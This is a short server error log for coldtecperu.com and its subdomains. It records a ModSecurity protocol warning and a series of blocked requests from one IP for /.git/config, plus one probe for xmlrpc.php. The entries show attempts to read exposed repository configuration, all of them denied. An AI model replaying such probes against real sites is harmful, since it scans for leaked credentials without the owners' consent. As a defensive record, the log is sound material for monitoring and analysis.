REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aUHch6ib1XkTCBgPpNhw7wAAAQ0"] 2025/12/16 17:41:32 [error] 20200#20200: *129258 access forbidden by rule, client: 185.177.72.75, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/12/16 17:41:58 [error] 20200#20200: *129290 access forbidden by rule, client: 185.177.72.75, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/12/16 17:51:15 [error] 20199#20199: *129947 access forbidden by rule, client: 185.177.72.75, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/12/16 17:51:47 [error] 20200#20200: *129982 access forbidden by rule, client: 185.177.72.75, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/12/16 22:24:43 [error] 20941#20941: *162558 access forbidden by rule, client: 185.177.72.75, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/12/16 22:25:06 [error] 20940#20940: *162585 access forbidden by rule, client: 185.177.72.75, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Wed Dec 17 01:14:08.558544 2025] [:error] [pid 21044:tid 21069] [client 45.149.173.219:57156] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/12/17 04:30:20 [error] 26266#26266: *207075 access forbidden by rule, client: 185.177.72.75, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/12/17 04:31:06 [error] 26266#26266: *207117 access forbidden by rule, client: 185.177.72.75, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com"